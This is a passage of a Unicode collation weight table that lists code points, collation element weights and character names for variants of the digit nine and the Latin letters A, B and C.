+247C  ; [*0317.0020.0004][.1C46.0020.0004][*0318.0020.0004] # PARENTHESIZED DIGIT NINE
+2490  ; [.1C46.0020.0004][*0277.0020.0004] # DIGIT NINE FULL STOP
+1F10A ; [.1C46.0020.0004][*0222.0020.0004] # DIGIT NINE COMMA
+1D7D7 ; [.1C46.0020.0005] # MATHEMATICAL BOLD DIGIT NINE
+1D7E1 ; [.1C46.0020.0005] # MATHEMATICAL DOUBLE-STRUCK DIGIT NINE
+1D7EB ; [.1C46.0020.0005] # MATHEMATICAL SANS-SERIF DIGIT NINE
+1D7F5 ; [.1C46.0020.0005] # MATHEMATICAL SANS-SERIF BOLD DIGIT NINE
+1D7FF ; [.1C46.0020.0005] # MATHEMATICAL MONOSPACE DIGIT NINE
+2468  ; [.1C46.0020.0006] # CIRCLED DIGIT NINE
+24FD  ; [.1C46.0020.0006] # DOUBLE CIRCLED DIGIT NINE
+277E  ; [.1C46.0020.0006] # DINGBAT NEGATIVE CIRCLED DIGIT NINE
+2788  ; [.1C46.0020.0006] # DINGBAT CIRCLED SANS-SERIF DIGIT NINE
+2792  ; [.1C46.0020.0006] # DINGBAT NEGATIVE CIRCLED SANS-SERIF DIGIT NINE
+2079  ; [.1C46.0020.0014] # SUPERSCRIPT NINE
+2089  ; [.1C46.0020.0015] # SUBSCRIPT NINE
+33E8  ; [.1C46.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY NINE
+32C8  ; [.1C46.0020.0004][.FB40.0020.0004][.E708.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR SEPTEMBER
+3361  ; [.1C46.0020.0004][.FB40.0020.0004][.F0B9.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR NINE
+0061  ; [.1C47.0020.0002] # LATIN SMALL LETTER A
+FF41  ; [.1C47.0020.0003] # FULLWIDTH LATIN SMALL LETTER A
+0363  ; [.1C47.0020.0004] # COMBINING LATIN SMALL LETTER A
+249C  ; [*0317.0020.0004][.1C47.0020.0004][*0318.0020.0004] # PARENTHESIZED LATIN SMALL LETTER A
+1D41A ; [.1C47.0020.0005] # MATHEMATICAL BOLD SMALL A
+1D44E ; [.1C47.0020.0005] # MATHEMATICAL ITALIC SMALL A
+1D482 ; [.1C47.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL A
+1D4B6 ; [.1C47.0020.0005] # MATHEMATICAL SCRIPT SMALL A
+1D4EA ; [.1C47.0020.0005] # MATHEMATICAL BOLD SCRIPT SMALL A
+1D51E ; [.1C47.0020.0005] # MATHEMATICAL FRAKTUR SMALL A
+1D552 ; [.1C47.0020.0005] # MATHEMATICAL DOUBLE-STRUCK SMALL A
+1D586 ; [.1C47.0020.0005] # MATHEMATICAL BOLD FRAKTUR SMALL A
+1D5BA ; [.1C47.0020.0005] # MATHEMATICAL SANS-SERIF SMALL A
+1D5EE ; [.1C47.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL A
+1D622 ; [.1C47.0020.0005] # MATHEMATICAL SANS-SERIF ITALIC SMALL A
+1D656 ; [.1C47.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL A
+1D68A ; [.1C47.0020.0005] # MATHEMATICAL MONOSPACE SMALL A
+24D0  ; [.1C47.0020.0006] # CIRCLED LATIN SMALL LETTER A
+0041  ; [.1C47.0020.0008] # LATIN CAPITAL LETTER A
+FF21  ; [.1C47.0020.0009] # FULLWIDTH LATIN CAPITAL LETTER A
+1F110 ; [*0317.0020.0004][.1C47.0020.000A][*0318.0020.0004] # PARENTHESIZED LATIN CAPITAL LETTER A
+1D400 ; [.1C47.0020.000B] # MATHEMATICAL BOLD CAPITAL A
+1D434 ; [.1C47.0020.000B] # MATHEMATICAL ITALIC CAPITAL A
+1D468 ; [.1C47.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL A
+1D49C ; [.1C47.0020.000B] # MATHEMATICAL SCRIPT CAPITAL A
+1D4D0 ; [.1C47.0020.000B] # MATHEMATICAL BOLD SCRIPT CAPITAL A
+1D504 ; [.1C47.0020.000B] # MATHEMATICAL FRAKTUR CAPITAL A
+1D538 ; [.1C47.0020.000B] # MATHEMATICAL DOUBLE-STRUCK CAPITAL A
+1D56C ; [.1C47.0020.000B] # MATHEMATICAL BOLD FRAKTUR CAPITAL A
+1D5A0 ; [.1C47.0020.000B] # MATHEMATICAL SANS-SERIF CAPITAL A
+1D5D4 ; [.1C47.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL A
+1D608 ; [.1C47.0020.000B] # MATHEMATICAL SANS-SERIF ITALIC CAPITAL A
+1D63C ; [.1C47.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL A
+1D670 ; [.1C47.0020.000B] # MATHEMATICAL MONOSPACE CAPITAL A
+24B6  ; [.1C47.0020.000C] # CIRCLED LATIN CAPITAL LETTER A
+1F150 ; [.1C47.0020.000C] # NEGATIVE CIRCLED LATIN CAPITAL LETTER A
+00AA  ; [.1C47.0020.0014] # FEMININE ORDINAL INDICATOR
+1D43  ; [.1C47.0020.0014] # MODIFIER LETTER SMALL A
+2090  ; [.1C47.0020.0015] # LATIN SUBSCRIPT SMALL LETTER A
+1D2C  ; [.1C47.0020.001D] # MODIFIER LETTER CAPITAL A
+1F130 ; [.1C47.0020.001D] # SQUARED LATIN CAPITAL LETTER A
+1F170 ; [.1C47.0020.001D] # NEGATIVE SQUARED LATIN CAPITAL LETTER A
+00E1  ; [.1C47.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER A WITH ACUTE
+00C1  ; [.1C47.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER A WITH ACUTE
+00E0  ; [.1C47.0020.0002][.0000.0025.0002] # LATIN SMALL LETTER A WITH GRAVE
+00C0  ; [.1C47.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER A WITH GRAVE
+0103  ; [.1C47.0020.0002][.0000.0026.0002] # LATIN SMALL LETTER A WITH BREVE
+0102  ; [.1C47.0020.0008][.0000.0026.0002] # LATIN CAPITAL LETTER A WITH BREVE
+1EAF  ; [.1C47.0020.0002][.0000.0026.0002][.0000.0024.0002] # LATIN SMALL LETTER A WITH BREVE AND ACUTE
+1EAE  ; [.1C47.0020.0008][.0000.0026.0002][.0000.0024.0002] # LATIN CAPITAL LETTER A WITH BREVE AND ACUTE
+1EB1  ; [.1C47.0020.0002][.0000.0026.0002][.0000.0025.0002] # LATIN SMALL LETTER A WITH BREVE AND GRAVE
+1EB0  ; [.1C47.0020.0008][.0000.0026.0002][.0000.0025.0002] # LATIN CAPITAL LETTER A WITH BREVE AND GRAVE
+1EB5  ; [.1C47.0020.0002][.0000.0026.0002][.0000.002D.0002] # LATIN SMALL LETTER A WITH BREVE AND TILDE
+1EB4  ; [.1C47.0020.0008][.0000.0026.0002][.0000.002D.0002] # LATIN CAPITAL LETTER A WITH BREVE AND TILDE
+1EB3  ; [.1C47.0020.0002][.0000.0026.0002][.0000.003B.0002] # LATIN SMALL LETTER A WITH BREVE AND HOOK ABOVE
+1EB2  ; [.1C47.0020.0008][.0000.0026.0002][.0000.003B.0002] # LATIN CAPITAL LETTER A WITH BREVE AND HOOK ABOVE
+00E2  ; [.1C47.0020.0002][.0000.0027.0002] # LATIN SMALL LETTER A WITH CIRCUMFLEX
+00C2  ; [.1C47.0020.0008][.0000.0027.0002] # LATIN CAPITAL LETTER A WITH CIRCUMFLEX
+1EA5  ; [.1C47.0020.0002][.0000.0027.0002][.0000.0024.0002] # LATIN SMALL LETTER A WITH CIRCUMFLEX AND ACUTE
+1EA4  ; [.1C47.0020.0008][.0000.0027.0002][.0000.0024.0002] # LATIN CAPITAL LETTER A WITH CIRCUMFLEX AND ACUTE
+1EA7  ; [.1C47.0020.0002][.0000.0027.0002][.0000.0025.0002] # LATIN SMALL LETTER A WITH CIRCUMFLEX AND GRAVE
+1EA6  ; [.1C47.0020.0008][.0000.0027.0002][.0000.0025.0002] # LATIN CAPITAL LETTER A WITH CIRCUMFLEX AND GRAVE
+1EAB  ; [.1C47.0020.0002][.0000.0027.0002][.0000.002D.0002] # LATIN SMALL LETTER A WITH CIRCUMFLEX AND TILDE
+1EAA  ; [.1C47.0020.0008][.0000.0027.0002][.0000.002D.0002] # LATIN CAPITAL LETTER A WITH CIRCUMFLEX AND TILDE
+1EA9  ; [.1C47.0020.0002][.0000.0027.0002][.0000.003B.0002] # LATIN SMALL LETTER A WITH CIRCUMFLEX AND HOOK ABOVE
+1EA8  ; [.1C47.0020.0008][.0000.0027.0002][.0000.003B.0002] # LATIN CAPITAL LETTER A WITH CIRCUMFLEX AND HOOK ABOVE
+01CE  ; [.1C47.0020.0002][.0000.0028.0002] # LATIN SMALL LETTER A WITH CARON
+01CD  ; [.1C47.0020.0008][.0000.0028.0002] # LATIN CAPITAL LETTER A WITH CARON
+00E5  ; [.1C47.0020.0002][.0000.0029.0002] # LATIN SMALL LETTER A WITH RING ABOVE
+00C5  ; [.1C47.0020.0008][.0000.0029.0002] # LATIN CAPITAL LETTER A WITH RING ABOVE
+212B  ; [.1C47.0020.0008][.0000.0029.0002] # ANGSTROM SIGN
+01FB  ; [.1C47.0020.0002][.0000.0029.0002][.0000.0024.0002] # LATIN SMALL LETTER A WITH RING ABOVE AND ACUTE
+01FA  ; [.1C47.0020.0008][.0000.0029.0002][.0000.0024.0002] # LATIN CAPITAL LETTER A WITH RING ABOVE AND ACUTE
+00E4  ; [.1C47.0020.0002][.0000.002B.0002] # LATIN SMALL LETTER A WITH DIAERESIS
+1DF2  ; [.1C47.0020.0004][.0000.002B.0004] # COMBINING LATIN SMALL LETTER A WITH DIAERESIS
+A79B  ; [.1C47.0020.0004][.0000.002B.0004] # LATIN SMALL LETTER VOLAPUK AE
+00C4  ; [.1C47.0020.0008][.0000.002B.0002] # LATIN CAPITAL LETTER A WITH DIAERESIS
+A79A  ; [.1C47.0020.000A][.0000.002B.0004] # LATIN CAPITAL LETTER VOLAPUK AE
+01DF  ; [.1C47.0020.0002][.0000.002B.0002][.0000.0032.0002] # LATIN SMALL LETTER A WITH DIAERESIS AND MACRON
+01DE  ; [.1C47.0020.0008][.0000.002B.0002][.0000.0032.0002] # LATIN CAPITAL LETTER A WITH DIAERESIS AND MACRON
+00E3  ; [.1C47.0020.0002][.0000.002D.0002] # LATIN SMALL LETTER A WITH TILDE
+00C3  ; [.1C47.0020.0008][.0000.002D.0002] # LATIN CAPITAL LETTER A WITH TILDE
+0227  ; [.1C47.0020.0002][.0000.002E.0002] # LATIN SMALL LETTER A WITH DOT ABOVE
+0226  ; [.1C47.0020.0008][.0000.002E.0002] # LATIN CAPITAL LETTER A WITH DOT ABOVE
+01E1  ; [.1C47.0020.0002][.0000.002E.0002][.0000.0032.0002] # LATIN SMALL LETTER A WITH DOT ABOVE AND MACRON
+01E0  ; [.1C47.0020.0008][.0000.002E.0002][.0000.0032.0002] # LATIN CAPITAL LETTER A WITH DOT ABOVE AND MACRON
+0105  ; [.1C47.0020.0002][.0000.0031.0002] # LATIN SMALL LETTER A WITH OGONEK
+0104  ; [.1C47.0020.0008][.0000.0031.0002] # LATIN CAPITAL LETTER A WITH OGONEK
+0101  ; [.1C47.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER A WITH MACRON
+0100  ; [.1C47.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER A WITH MACRON
+1EA3  ; [.1C47.0020.0002][.0000.003B.0002] # LATIN SMALL LETTER A WITH HOOK ABOVE
+1EA2  ; [.1C47.0020.0008][.0000.003B.0002] # LATIN CAPITAL LETTER A WITH HOOK ABOVE
+0201  ; [.1C47.0020.0002][.0000.003C.0002] # LATIN SMALL LETTER A WITH DOUBLE GRAVE
+0200  ; [.1C47.0020.0008][.0000.003C.0002] # LATIN CAPITAL LETTER A WITH DOUBLE GRAVE
+0203  ; [.1C47.0020.0002][.0000.003E.0002] # LATIN SMALL LETTER A WITH INVERTED BREVE
+0202  ; [.1C47.0020.0008][.0000.003E.0002] # LATIN CAPITAL LETTER A WITH INVERTED BREVE
+1EA1  ; [.1C47.0020.0002][.0000.0042.0002] # LATIN SMALL LETTER A WITH DOT BELOW
+1EA0  ; [.1C47.0020.0008][.0000.0042.0002] # LATIN CAPITAL LETTER A WITH DOT BELOW
+1EB7  ; [.1C47.0020.0002][.0000.0042.0002][.0000.0026.0002] # LATIN SMALL LETTER A WITH BREVE AND DOT BELOW
+1EB6  ; [.1C47.0020.0008][.0000.0042.0002][.0000.0026.0002] # LATIN CAPITAL LETTER A WITH BREVE AND DOT BELOW
+1EAD  ; [.1C47.0020.0002][.0000.0042.0002][.0000.0027.0002] # LATIN SMALL LETTER A WITH CIRCUMFLEX AND DOT BELOW
+1EAC  ; [.1C47.0020.0008][.0000.0042.0002][.0000.0027.0002] # LATIN CAPITAL LETTER A WITH CIRCUMFLEX AND DOT BELOW
+1E01  ; [.1C47.0020.0002][.0000.0044.0002] # LATIN SMALL LETTER A WITH RING BELOW
+1E00  ; [.1C47.0020.0008][.0000.0044.0002] # LATIN CAPITAL LETTER A WITH RING BELOW
+1DD3  ; [.1C47.0020.0004][.0000.0110.0004] # COMBINING LATIN SMALL LETTER FLATTENED OPEN A ABOVE
+A733  ; [.1C47.0020.0004][.1C47.0020.0004] # LATIN SMALL LETTER AA
+A732  ; [.1C47.0020.000A][.1C47.0020.000A] # LATIN CAPITAL LETTER AA
+1F18E ; [.1C47.0020.001D][.1C60.0020.001D] # NEGATIVE SQUARED AB
+2100  ; [.1C47.0020.0004][*0394.0020.0004][.1C7A.0020.0004] # ACCOUNT OF
+00E6  ; [.1C47.0020.0004][.0000.0110.0004][.1CAA.0020.0004] # LATIN SMALL LETTER AE
+1DD4  ; [.1C47.0020.0004][.0000.0110.0004][.1CAA.0020.0004] # COMBINING LATIN SMALL LETTER AE
+00C6  ; [.1C47.0020.000A][.0000.0110.0004][.1CAA.0020.000A] # LATIN CAPITAL LETTER AE
+1D2D  ; [.1C47.0020.0014][.0000.0110.0014][.1CAA.0020.0014] # MODIFIER LETTER CAPITAL AE
+01FD  ; [.1C47.0020.0004][.0000.0110.0004][.1CAA.0020.0004][.0000.0024.0002] # LATIN SMALL LETTER AE WITH ACUTE
+01FC  ; [.1C47.0020.000A][.0000.0110.0004][.1CAA.0020.000A][.0000.0024.0002] # LATIN CAPITAL LETTER AE WITH ACUTE
+01E3  ; [.1C47.0020.0004][.0000.0110.0004][.1CAA.0020.0004][.0000.0032.0002] # LATIN SMALL LETTER AE WITH MACRON
+01E2  ; [.1C47.0020.000A][.0000.0110.0004][.1CAA.0020.000A][.0000.0032.0002] # LATIN CAPITAL LETTER AE WITH MACRON
+33C2  ; [.1C47.0020.001C][*0277.0020.001C][.1DAA.0020.001C][*0277.0020.001C] # SQUARE AM
+33DF  ; [.1C47.0020.001D][*0625.0020.001C][.1DAA.0020.001C] # SQUARE A OVER M
+1DD5  ; [.1C47.0020.0004][.1DDD.0020.0004] # COMBINING LATIN SMALL LETTER AO
+A735  ; [.1C47.0020.0004][.1DDD.0020.0004] # LATIN SMALL LETTER AO
+A734  ; [.1C47.0020.000A][.1DDD.0020.000A] # LATIN CAPITAL LETTER AO
+2101  ; [.1C47.0020.0004][*0394.0020.0004][.1E71.0020.0004] # ADDRESSED TO THE SUBJECT
+214D  ; [.1C47.0020.000A][*0394.0020.0004][.1E71.0020.000A] # AKTIESELSKAB
+A737  ; [.1C47.0020.0004][.1EB5.0020.0004] # LATIN SMALL LETTER AU
+A736  ; [.1C47.0020.000A][.1EB5.0020.000A] # LATIN CAPITAL LETTER AU
+3373  ; [.1C47.0020.001D][.1EB5.0020.001D] # SQUARE AU
+1DD6  ; [.1C47.0020.0004][.1EE3.0020.0004] # COMBINING LATIN SMALL LETTER AV
+A739  ; [.1C47.0020.0004][.1EE3.0020.0004] # LATIN SMALL LETTER AV
+A738  ; [.1C47.0020.000A][.1EE3.0020.000A] # LATIN CAPITAL LETTER AV
+A73B  ; [.1C47.0020.0004][.0000.0110.0004][.1EE3.0020.0004] # LATIN SMALL LETTER AV WITH HORIZONTAL BAR
+A73A  ; [.1C47.0020.000A][.0000.0110.0004][.1EE3.0020.000A] # LATIN CAPITAL LETTER AV WITH HORIZONTAL BAR
+A73D  ; [.1C47.0020.0004][.1F0B.0020.0004] # LATIN SMALL LETTER AY
+A73C  ; [.1C47.0020.000A][.1F0B.0020.000A] # LATIN CAPITAL LETTER AY
+1E9A  ; [.1C47.0020.0004][.1F80.0020.0004] # LATIN SMALL LETTER A WITH RIGHT HALF RING
+1D00  ; [.1C4B.0020.0002] # LATIN LETTER SMALL CAPITAL A
+2C65  ; [.1C4C.0020.0002] # LATIN SMALL LETTER A WITH STROKE
+023A  ; [.1C4C.0020.0008] # LATIN CAPITAL LETTER A WITH STROKE
+1D8F  ; [.1C4D.0020.0002] # LATIN SMALL LETTER A WITH RETROFLEX HOOK
+1D01  ; [.1C4E.0020.0002] # LATIN LETTER SMALL CAPITAL AE
+1D02  ; [.1C4F.0020.0002] # LATIN SMALL LETTER TURNED AE
+1D46  ; [.1C4F.0020.0014] # MODIFIER LETTER SMALL TURNED AE
+AB31  ; [.1C50.0020.0002] # LATIN SMALL LETTER A REVERSED-SCHWA
+0250  ; [.1C51.0020.0002] # LATIN SMALL LETTER TURNED A
+2C6F  ; [.1C51.0020.0008] # LATIN CAPITAL LETTER TURNED A
+1D44  ; [.1C51.0020.0014] # MODIFIER LETTER SMALL TURNED A
+0251  ; [.1C55.0020.0002] # LATIN SMALL LETTER ALPHA
+1DE7  ; [.1C55.0020.0004] # COMBINING LATIN SMALL LETTER ALPHA
+2C6D  ; [.1C55.0020.0008] # LATIN CAPITAL LETTER ALPHA
+1D45  ; [.1C55.0020.0014] # MODIFIER LETTER SMALL ALPHA
+AB30  ; [.1C59.0020.0002] # LATIN SMALL LETTER BARRED ALPHA
+1D90  ; [.1C5A.0020.0002] # LATIN SMALL LETTER ALPHA WITH RETROFLEX HOOK
+0252  ; [.1C5B.0020.0002] # LATIN SMALL LETTER TURNED ALPHA
+2C70  ; [.1C5B.0020.0008] # LATIN CAPITAL LETTER TURNED ALPHA
+1D9B  ; [.1C5B.0020.0014] # MODIFIER LETTER SMALL TURNED ALPHA
+AB64  ; [.1C5F.0020.0002] # LATIN SMALL LETTER INVERTED ALPHA
+0062  ; [.1C60.0020.0002] # LATIN SMALL LETTER B
+FF42  ; [.1C60.0020.0003] # FULLWIDTH LATIN SMALL LETTER B
+1DE8  ; [.1C60.0020.0004] # COMBINING LATIN SMALL LETTER B
+249D  ; [*0317.0020.0004][.1C60.0020.0004][*0318.0020.0004] # PARENTHESIZED LATIN SMALL LETTER B
+1D41B ; [.1C60.0020.0005] # MATHEMATICAL BOLD SMALL B
+1D44F ; [.1C60.0020.0005] # MATHEMATICAL ITALIC SMALL B
+1D483 ; [.1C60.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL B
+1D4B7 ; [.1C60.0020.0005] # MATHEMATICAL SCRIPT SMALL B
+1D4EB ; [.1C60.0020.0005] # MATHEMATICAL BOLD SCRIPT SMALL B
+1D51F ; [.1C60.0020.0005] # MATHEMATICAL FRAKTUR SMALL B
+1D553 ; [.1C60.0020.0005] # MATHEMATICAL DOUBLE-STRUCK SMALL B
+1D587 ; [.1C60.0020.0005] # MATHEMATICAL BOLD FRAKTUR SMALL B
+1D5BB ; [.1C60.0020.0005] # MATHEMATICAL SANS-SERIF SMALL B
+1D5EF ; [.1C60.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL B
+1D623 ; [.1C60.0020.0005] # MATHEMATICAL SANS-SERIF ITALIC SMALL B
+1D657 ; [.1C60.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL B
+1D68B ; [.1C60.0020.0005] # MATHEMATICAL MONOSPACE SMALL B
+24D1  ; [.1C60.0020.0006] # CIRCLED LATIN SMALL LETTER B
+0042  ; [.1C60.0020.0008] # LATIN CAPITAL LETTER B
+FF22  ; [.1C60.0020.0009] # FULLWIDTH LATIN CAPITAL LETTER B
+1F111 ; [*0317.0020.0004][.1C60.0020.000A][*0318.0020.0004] # PARENTHESIZED LATIN CAPITAL LETTER B
+212C  ; [.1C60.0020.000B] # SCRIPT CAPITAL B
+1D401 ; [.1C60.0020.000B] # MATHEMATICAL BOLD CAPITAL B
+1D435 ; [.1C60.0020.000B] # MATHEMATICAL ITALIC CAPITAL B
+1D469 ; [.1C60.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL B
+1D4D1 ; [.1C60.0020.000B] # MATHEMATICAL BOLD SCRIPT CAPITAL B
+1D505 ; [.1C60.0020.000B] # MATHEMATICAL FRAKTUR CAPITAL B
+1D539 ; [.1C60.0020.000B] # MATHEMATICAL DOUBLE-STRUCK CAPITAL B
+1D56D ; [.1C60.0020.000B] # MATHEMATICAL BOLD FRAKTUR CAPITAL B
+1D5A1 ; [.1C60.0020.000B] # MATHEMATICAL SANS-SERIF CAPITAL B
+1D5D5 ; [.1C60.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL B
+1D609 ; [.1C60.0020.000B] # MATHEMATICAL SANS-SERIF ITALIC CAPITAL B
+1D63D ; [.1C60.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL B
+1D671 ; [.1C60.0020.000B] # MATHEMATICAL MONOSPACE CAPITAL B
+24B7  ; [.1C60.0020.000C] # CIRCLED LATIN CAPITAL LETTER B
+1F151 ; [.1C60.0020.000C] # NEGATIVE CIRCLED LATIN CAPITAL LETTER B
+1D47  ; [.1C60.0020.0014] # MODIFIER LETTER SMALL B
+1D2E  ; [.1C60.0020.001D] # MODIFIER LETTER CAPITAL B
+1F131 ; [.1C60.0020.001D] # SQUARED LATIN CAPITAL LETTER B
+1F171 ; [.1C60.0020.001D] # NEGATIVE SQUARED LATIN CAPITAL LETTER B
+1E03  ; [.1C60.0020.0002][.0000.002E.0002] # LATIN SMALL LETTER B WITH DOT ABOVE
+1E02  ; [.1C60.0020.0008][.0000.002E.0002] # LATIN CAPITAL LETTER B WITH DOT ABOVE
+1E05  ; [.1C60.0020.0002][.0000.0042.0002] # LATIN SMALL LETTER B WITH DOT BELOW
+1E04  ; [.1C60.0020.0008][.0000.0042.0002] # LATIN CAPITAL LETTER B WITH DOT BELOW
+1E07  ; [.1C60.0020.0002][.0000.0049.0002] # LATIN SMALL LETTER B WITH LINE BELOW
+1E06  ; [.1C60.0020.0008][.0000.0049.0002] # LATIN CAPITAL LETTER B WITH LINE BELOW
+3374  ; [.1C60.0020.001C][.1C47.0020.001C][.1E33.0020.001C] # SQUARE BAR
+33C3  ; [.1C60.0020.001D][.1E21.0020.001C] # SQUARE BQ
+0299  ; [.1C64.0020.0002] # LATIN LETTER SMALL CAPITAL B
+0180  ; [.1C68.0020.0002] # LATIN SMALL LETTER B WITH STROKE
+0243  ; [.1C68.0020.0008] # LATIN CAPITAL LETTER B WITH STROKE
+1D2F  ; [.1C6C.0020.0002] # MODIFIER LETTER CAPITAL BARRED B
+1D03  ; [.1C6D.0020.0002] # LATIN LETTER SMALL CAPITAL BARRED B
+1D6C  ; [.1C6E.0020.0002] # LATIN SMALL LETTER B WITH MIDDLE TILDE
+A797  ; [.1C6F.0020.0002] # LATIN SMALL LETTER B WITH FLOURISH
+A796  ; [.1C6F.0020.0008] # LATIN CAPITAL LETTER B WITH FLOURISH
+1D80  ; [.1C70.0020.0002] # LATIN SMALL LETTER B WITH PALATAL HOOK
+0253  ; [.1C71.0020.0002] # LATIN SMALL LETTER B WITH HOOK
+0181  ; [.1C71.0020.0008] # LATIN CAPITAL LETTER B WITH HOOK
+0183  ; [.1C75.0020.0002] # LATIN SMALL LETTER B WITH TOPBAR
+0182  ; [.1C75.0020.0008] # LATIN CAPITAL LETTER B WITH TOPBAR
+A7B5  ; [.1C79.0020.0002] # LATIN SMALL LETTER BETA
+1DE9  ; [.1C79.0020.0004] # COMBINING LATIN SMALL LETTER BETA
+A7B4  ; [.1C79.0020.0008] # LATIN CAPITAL LETTER BETA
+0063  ; [.1C7A.0020.0002] # LATIN SMALL LETTER C
+FF43  ; [.1C7A.0020.0003] # FULLWIDTH LATIN SMALL LETTER C
+0368  ; [.1C7A.0020.0004] # COMBINING LATIN SMALL LETTER C
+217D  ; [.1C7A.0020.0004] # SMALL ROMAN NUMERAL ONE HUNDRED
+249E  ; [*0317.0020.0004][.1C7A.0020.0004][*0318.0020.0004] # PARENTHESIZED LATIN SMALL LETTER C
+1D41C ; [.1C7A.0020.0005] # MATHEMATICAL BOLD SMALL C
+1D450 ; [.1C7A.0020.0005] # MATHEMATICAL ITALIC SMALL C
+1D484 ; [.1C7A.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL C
+1D4B8 ; [.1C7A.0020.0005] # MATHEMATICAL SCRIPT SMALL C
+1D4EC ; [.1C7A.0020.0005] # MATHEMATICAL BOLD SCRIPT SMALL C
+1D520 ; [.1C7A.0020.0005] # MATHEMATICAL FRAKTUR SMALL C
+1D554 ; [.1C7A.0020.0005] # MATHEMATICAL DOUBLE-STRUCK SMALL C
+1D588 ; [.1C7A.0020.0005] # MATHEMATICAL BOLD FRAKTUR SMALL C
+1D5BC ; [.1C7A.0020.0005] # MATHEMATICAL SANS-SERIF SMALL C
+1D5F0 ; [.1C7A.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL C
+1D624 ; [.1C7A.0020.0005] # MATHEMATICAL SANS-SERIF ITALIC SMALL C
+1D658 ; [.1C7A.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL C
+1D68C ; [.1C7A.0020.0005] # MATHEMATICAL MONOSPACE SMALL C
+24D2  ; [.1C7A.0020.0006] # CIRCLED LATIN SMALL LETTER C
+0043  ; [.1C7A.0020.0008] # LATIN CAPITAL LETTER C
+FF23  ; [.1C7A.0020.0009] # FULLWIDTH LATIN CAPITAL LETTER C
+2103  ; [*04F6.0020.0004][.1C7A.0020.000A] # DEGREE CELSIUS
+216D  ; [.1C7A.0020.000A] # ROMAN NUMERAL ONE HUNDRED
+1F112 ; [*0317.0020.0004][.1C7A.0020.000A][*0318.0020.0004] # PARENTHESIZED LATIN CAPITAL LETTER C
+2102  ; [.1C7A.0020.000B] # DOUBLE-STRUCK CAPITAL C
+212D  ; [.1C7A.0020.000B] # BLACK-LETTER CAPITAL C
+1D402 ; [.1C7A.0020.000B] # MATHEMATICAL BOLD CAPITAL C
+1D436 ; [.1C7A.0020.000B] # MATHEMATICAL ITALIC CAPITAL C
+1D46A ; [.1C7A.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL C
+1D49E ; [.1C7A.0020.000B] # MATHEMATICAL SCRIPT CAPITAL C
+1D4D2 ; [.1C7A.0020.000B] # MATHEMATICAL BOLD SCRIPT CAPITAL C
+1D56E ; [.1C7A.0020.000B] # MATHEMATICAL BOLD FRAKTUR CAPITAL C
+1D5A2 ; [.1C7A.0020.000B] # MATHEMATICAL SANS-SERIF CAPITAL C
+1D5D6 ; [.1C7A.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL C
+1D60A ; [.1C7A.0020.000B] # MATHEMATICAL SANS-SERIF ITALIC CAPITAL C
+1D63E ; [.1C7A.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL C
+1D672 ; [.1C7A.0020.000B] # MATHEMATICAL MONOSPACE CAPITAL C
+24B8  ; [.1C7A.0020.000C] # CIRCLED LATIN CAPITAL LETTER C
+1F12B ; [.1C7A.0020.000C] # CIRCLED ITALIC LATIN CAPITAL LETTER C
+1F152 ; [.1C7A.0020.000C] # NEGATIVE CIRCLED LATIN CAPITAL LETTER C
+1D9C  ; [.1C7A.0020.0014] # MODIFIER LETTER SMALL C
+1F132 ; [.1C7A.0020.001D] # SQUARED LATIN CAPITAL LETTER C
+1F172 ; [.1C7A.0020.001D] # NEGATIVE SQUARED LATIN CAPITAL LETTER C
+0107  ; [.1C7A.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER C WITH ACUTE
+0106  ; [.1C7A.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER C WITH ACUTE
+0109  ; [.1C7A.0020.0002][.0000.0027.0002] # LATIN SMALL LETTER C WITH CIRCUMFLEX
+0108  ; [.1C7A.0020.0008][.0000.0027.0002] # LATIN CAPITAL LETTER C WITH CIRCUMFLEX
+010D  ; [.1C7A.0020.0002][.0000.0028.0002] # LATIN SMALL LETTER C WITH CARON
+010C  ; [.1C7A.0020.0008][.0000.0028.0002] # LATIN CAPITAL LETTER C WITH CARON
+010B  ; [.1C7A.0020.0002][.0000.002E.0002] # LATIN SMALL LETTER C WITH DOT ABOVE
+010A  ; [.1C7A.0020.0008][.0000.002E.0002] # LATIN CAPITAL LETTER C WITH DOT ABOVE
+00E7  ; [.1C7A.0020.0002][.0000.0030.0002] # LATIN SMALL LETTER C WITH CEDILLA
+1DD7  ; [.1C7A.0020.0004][.0000.0030.0004] # COMBINING LATIN SMALL LETTER C CEDILLA
+00C7  ; [.1C7A.0020.0008][.0000.0030.0002] # LATIN CAPITAL LETTER C WITH CEDILLA
+1E09  ; [.1C7A.0020.0002][.0000.0030.0002][.0000.0024.0002] # LATIN SMALL LETTER C WITH CEDILLA AND ACUTE
+1E08  ; [.1C7A.0020.0008][.0000.0030.0002][.0000.0024.0002] # LATIN CAPITAL LETTER C WITH CEDILLA AND ACUTE
+3388  ; [.1C7A.0020.001C][.1C47.0020.001C][.1D77.0020.001C] # SQUARE CAL
+33C4  ; [.1C7A.0020.001C][.1C7A.0020.001C] # SQUARE CC
